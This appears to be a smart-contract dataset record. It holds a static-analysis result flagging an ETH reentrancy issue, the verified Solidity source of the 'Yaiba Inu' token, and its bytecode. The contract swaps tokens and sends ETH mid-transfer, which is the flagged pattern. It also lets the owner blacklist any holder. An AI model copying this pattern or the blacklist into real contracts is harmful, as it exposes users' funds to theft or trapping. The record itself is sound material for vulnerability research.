fffffffffffffff80821115611baf57600080fd5b818601915086601f830112611bc357600080fd5b813581811115611bd257600080fd5b8760208260051b8501011115611be757600080fd5b602092830195509350611bfd9186019050611b0c565b90509250925092565b60008060408385031215611c1957600080fd5b8235611c2481611943565b91506020830135611c3481611943565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb457611cb4611c8a565b5060010190565b60008219821115611cce57611cce611c8a565b500190565b600082821015611ce557611ce5611c8a565b500390565b600060208284031215611cfc57600080fd5b81516112f681611943565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d575784516001600160a01b031683529383019391830191600101611d32565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db457611db4611c8a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046ed3affed2e78442e1128906753cc90e365f9fc7423ba03703fd0ceeaf88b5164736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,051 |
0x37b033bbb6582dab7a67fe39369881bd4da44045
|
/**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
/**
Supply:10,000,000,000,000
Max buy:200,000,000,000
Wallet size:400,000,000,000
Tax:10% buy/sell
https://t.me/Yaibainueth
*/
pragma solidity 0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract YaibaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Yaiba Inu";
string private constant _symbol = "YAIBA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xc75aEd8e17157F1FeB193Cc61e4ACF2333587433);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000000 * 10**9;
_maxWalletSize = 400000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e55565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612978565b6104b4565b60405161018e9190612e3a565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612ff7565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129b4565b6104e4565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612929565b610634565b60405161021f9190612e3a565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a919061289b565b61070d565b005b34801561025d57600080fd5b506102666107fd565b604051610273919061306c565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129f5565b610806565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a47565b6108b8565b005b3480156102da57600080fd5b506102e3610993565b005b3480156102f157600080fd5b5061030c6004803603810190610307919061289b565b610a05565b6040516103199190612ff7565b60405180910390f35b34801561032e57600080fd5b50610337610a56565b005b34801561034557600080fd5b5061034e610ba9565b005b34801561035c57600080fd5b50610365610c62565b6040516103729190612d6c565b60405180910390f35b34801561038757600080fd5b50610390610c8b565b60405161039d9190612e55565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612978565b610cc8565b6040516103da9190612e3a565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a47565b610ce6565b005b34801561041857600080fd5b50610421610dc1565b005b34801561042f57600080fd5b50610438610e3b565b005b34801561044657600080fd5b50610461600480360381019061045c91906128ed565b6113a9565b60405161046e9190612ff7565b60405180910390f35b60606040518060400160405280600981526020017f596169626120496e750000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611430565b8484611438565b6001905092915050565b600069021e19e0c9bab2400000905090565b6104ec611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057090612f37565b60405180910390fd5b60005b8151811015610630576001600660008484815181106105c4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106289061330d565b91505061057c565b5050565b6000610641848484611603565b6107028461064d611430565b6106fd8560405180606001604052806028815260200161373060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b3611430565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c969092919063ffffffff16565b611438565b600190509392505050565b610715611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079990612f37565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080e611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290612f37565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108c0611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094490612f37565b60405180910390fd5b6000811161095a57600080fd5b61098a606461097c8369021e19e0c9bab2400000611cfa90919063ffffffff16565b611d7590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d4611430565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b6000479050610a0281611dbf565b50565b6000610a4f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2b565b9050919050565b610a5e611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290612f37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bb1611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3590612f37565b60405180910390fd5b69021e19e0c9bab2400000600f8190555069021e19e0c9bab2400000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5941494241000000000000000000000000000000000000000000000000000000815250905090565b6000610cdc610cd5611430565b8484611603565b6001905092915050565b610cee611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290612f37565b60405180910390fd5b60008111610d8857600080fd5b610db86064610daa8369021e19e0c9bab2400000611cfa90919063ffffffff16565b611d7590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e02611430565b73ffffffffffffffffffffffffffffffffffffffff1614610e2257600080fd5b6000610e2d30610a05565b9050610e3881611e99565b50565b610e43611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec790612f37565b60405180910390fd5b600e60149054906101000a900460ff1615610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790612fd7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fb130600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669021e19e0c9bab2400000611438565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff757600080fd5b505afa15801561100b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102f91906128c4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561109157600080fd5b505afa1580156110a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c991906128c4565b6040518363ffffffff1660e01b81526004016110e6929190612d87565b602060405180830381600087803b15801561110057600080fd5b505af1158015611114573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113891906128c4565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111c130610a05565b6000806111cc610c62565b426040518863ffffffff1660e01b81526004016111ee96959493929190612dd9565b6060604051808303818588803b15801561120757600080fd5b505af115801561121b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112409190612a70565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550680ad78ebc5ac6200000600f819055506815af1d78b58c4000006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611353929190612db0565b602060405180830381600087803b15801561136d57600080fd5b505af1158015611381573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a59190612a1e565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149f90612fb7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611518576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150f90612ed7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f69190612ff7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166a90612f77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116da90612e77565b60405180910390fd5b60008111611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d90612f57565b60405180910390fd5b6000600a81905550600a600b8190555061173e610c62565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ac575061177c610c62565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185e57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119095750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561195f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119775750600e60179054906101000a900460ff165b15611ab557600f548111156119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b890612e97565b60405180910390fd5b601054816119ce84610a05565b6119d8919061312d565b1115611a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1090612f97565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a71919061312d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b605750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bcc576000600a81905550600a600b819055505b6000611bd730610a05565b9050600e60159054906101000a900460ff16158015611c445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600e60169054906101000a900460ff165b15611c8457611c6a81611e99565b60004790506000811115611c8257611c8147611dbf565b5b505b505b611c91838383612193565b505050565b6000838311158290611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd59190612e55565b60405180910390fd5b5060008385611ced919061320e565b9050809150509392505050565b600080831415611d0d5760009050611d6f565b60008284611d1b91906131b4565b9050828482611d2a9190613183565b14611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190612f17565b60405180910390fd5b809150505b92915050565b6000611db783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a3565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e27573d6000803e3d6000fd5b5050565b6000600854821115611e72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6990612eb7565b60405180910390fd5b6000611e7c612206565b9050611e918184611d7590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f255781602001602082028036833780820191505090505b5090503081600081518110611f63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561200557600080fd5b505afa158015612019573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203d91906128c4565b81600181518110612077577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120de30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611438565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612142959493929190613012565b600060405180830381600087803b15801561215c57600080fd5b505af1158015612170573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61219e838383612231565b505050565b600080831182906121ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e19190612e55565b60405180910390fd5b50600083856121f99190613183565b9050809150509392505050565b60008060006122136123fc565b9150915061222a8183611d7590919063ffffffff16565b9250505090565b60008060008060008061224387612461565b9550955095509550955095506122a186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238281612571565b61238c848361262e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123e99190612ff7565b60405180910390a3505050505050505050565b60008060006008549050600069021e19e0c9bab2400000905061243469021e19e0c9bab2400000600854611d7590919063ffffffff16565b8210156124545760085469021e19e0c9bab240000093509350505061245d565b81819350935050505b9091565b600080600080600080600080600061247e8a600a54600b54612668565b925092509250600061248e612206565b905060008060006124a18e8787876126fe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c96565b905092915050565b6000808284612522919061312d565b905083811015612567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255e90612ef7565b60405180910390fd5b8091505092915050565b600061257b612206565b905060006125928284611cfa90919063ffffffff16565b90506125e681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612643826008546124c990919063ffffffff16565b60088190555061265e8160095461251390919063ffffffff16565b6009819055505050565b6000806000806126946064612686888a611cfa90919063ffffffff16565b611d7590919063ffffff